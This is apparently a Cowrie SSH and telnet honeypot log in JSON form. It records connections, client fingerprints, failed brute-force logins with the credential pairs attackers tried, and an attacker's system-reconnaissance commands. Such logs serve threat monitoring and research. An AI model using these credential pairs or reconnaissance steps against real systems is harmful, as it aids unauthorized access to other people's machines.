{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.559889Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.674453Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.924443Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.927595Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:00.042634Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:00.054695Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":51940,"dst_ip":"159.203.135.109","dst_port":23,"session":"260e1f8cd747","protocol":"telnet","message":"New connection: 162.248.7.67:51940 (159.203.135.109:23) [session: 260e1f8cd747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:07.705989Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52346,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4173f14a5d8","protocol":"telnet","message":"New connection: 162.248.7.67:52346 (159.203.135.109:23) [session: a4173f14a5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:08.280167Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35580,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f878ac68cf","protocol":"telnet","message":"New connection: 137.184.155.248:35580 (10.17.0.5:23) [session: 52f878ac68cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:13.464854Z"}
{"eventid":"cowrie.session.closed","duration":47.28488326072693,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:14.671705Z","src_ip":"137.184.155.248","session":"f66d3a896ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38486,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7966b7a087e","protocol":"ssh","message":"New connection: 2.57.122.238:38486 (10.17.0.5:22) [session: a7966b7a087e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:15.650863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:15.656969Z","src_ip":"2.57.122.238","session":"a7966b7a087e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:15.757324Z","src_ip":"2.57.122.238","session":"a7966b7a087e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:16.058264Z","src_ip":"2.57.122.238","session":"a7966b7a087e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:17.162240Z","src_ip":"2.57.122.238","session":"a7966b7a087e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4fe92f949d","protocol":"telnet","message":"New connection: 107.182.235.153:39818 (10.17.0.5:23) [session: 0f4fe92f949d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:17.522834Z"}
{"eventid":"cowrie.session.closed","duration":31.107486486434937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:18.646582Z","src_ip":"107.182.235.153","session":"359b6e29b507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa09a39f676","protocol":"ssh","message":"New connection: 102.211.152.138:36180 (159.203.135.109:22) [session: efa09a39f676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:20.126619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:20.133306Z","src_ip":"102.211.152.138","session":"efa09a39f676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:20.242697Z","src_ip":"102.211.152.138","session":"efa09a39f676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maurice","password":"test","message":"login attempt [maurice/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:20.709060Z","src_ip":"102.211.152.138","session":"efa09a39f676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:21.819777Z","src_ip":"102.211.152.138","session":"efa09a39f676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":49810,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ad997867263","protocol":"ssh","message":"New connection: 114.141.59.195:49810 (159.203.135.109:22) [session: 0ad997867263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:24.960323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:24.966057Z","src_ip":"114.141.59.195","session":"0ad997867263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d08355f0f53f","protocol":"telnet","message":"New connection: 137.184.155.248:54388 (10.17.0.5:23) [session: d08355f0f53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:25.134380Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:25.222684Z","src_ip":"114.141.59.195","session":"0ad997867263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fr@123456","message":"login attempt [root/Fr@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:26.221994Z","src_ip":"114.141.59.195","session":"0ad997867263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":36370,"dst_ip":"159.203.135.109","dst_port":23,"session":"b824fa65478e","protocol":"telnet","message":"New connection: 162.248.7.67:36370 (159.203.135.109:23) [session: b824fa65478e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:26.266090Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:27.469996Z","src_ip":"114.141.59.195","session":"0ad997867263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37392,"dst_ip":"159.203.135.109","dst_port":23,"session":"881b85b6c39b","protocol":"telnet","message":"New connection: 162.248.7.67:37392 (159.203.135.109:23) [session: 881b85b6c39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:27.806971Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":58488,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb5e1ce16454","protocol":"ssh","message":"New connection: 190.244.39.232:58488 (10.17.0.5:22) [session: fb5e1ce16454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:28.051070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:28.058142Z","src_ip":"190.244.39.232","session":"fb5e1ce16454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:28.243031Z","src_ip":"190.244.39.232","session":"fb5e1ce16454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.041664361953735,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:28.715199Z","src_ip":"137.184.155.248","session":"a61bafa788a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste1","message":"login attempt [teste/teste1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:28.987747Z","src_ip":"190.244.39.232","session":"fb5e1ce16454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":38282,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a944ba49652","protocol":"telnet","message":"New connection: 162.248.7.67:38282 (159.203.135.109:23) [session: 2a944ba49652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:29.329145Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:30.180007Z","src_ip":"190.244.39.232","session":"fb5e1ce16454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54392,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5cdb70fa0c","protocol":"telnet","message":"New connection: 137.184.155.248:54392 (10.17.0.5:23) [session: 2c5cdb70fa0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:31.170089Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":36580,"dst_ip":"10.17.0.5","dst_port":23,"session":"464217ea5cac","protocol":"telnet","message":"New connection: 107.182.235.153:36580 (10.17.0.5:23) [session: 464217ea5cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:31.446272Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54406,"dst_ip":"10.17.0.5","dst_port":23,"session":"924dc7608ec0","protocol":"telnet","message":"New connection: 137.184.155.248:54406 (10.17.0.5:23) [session: 924dc7608ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:32.210296Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":56703,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c7a7ef93d81","protocol":"ssh","message":"New connection: 193.24.211.95:56703 (159.203.135.109:22) [session: 0c7a7ef93d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:33.900170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:33.922324Z","src_ip":"193.24.211.95","session":"0c7a7ef93d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:34.011502Z","src_ip":"193.24.211.95","session":"0c7a7ef93d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"j5Brn9","message":"login attempt [admin/j5Brn9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:34.501701Z","src_ip":"193.24.211.95","session":"0c7a7ef93d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":38674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6f3e30271e","protocol":"telnet","message":"New connection: 107.182.235.153:38674 (10.17.0.5:23) [session: ba6f3e30271e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:34.730371Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":42262,"dst_ip":"159.203.135.109","dst_port":23,"session":"e830a28433ce","protocol":"telnet","message":"New connection: 162.248.7.67:42262 (159.203.135.109:23) [session: e830a28433ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:35.315931Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:35.612691Z","src_ip":"193.24.211.95","session":"0c7a7ef93d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.603697776794434,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:36.813866Z","src_ip":"137.184.155.248","session":"924dc7608ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41636,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d2916a178d","protocol":"telnet","message":"New connection: 162.248.7.67:41636 (159.203.135.109:23) [session: 81d2916a178d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:37.307518Z"}
{"eventid":"cowrie.session.closed","duration":30.10297703742981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:38.383052Z","src_ip":"162.248.7.67","session":"a4173f14a5d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96383500099182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:38.669678Z","src_ip":"162.248.7.67","session":"260e1f8cd747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":53778,"dst_ip":"159.203.135.109","dst_port":22,"session":"106d096d594c","protocol":"ssh","message":"New connection: 43.157.98.118:53778 (159.203.135.109:22) [session: 106d096d594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:38.916622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:11:38.922221Z","src_ip":"43.157.98.118","session":"106d096d594c","protocol":"ssh"}
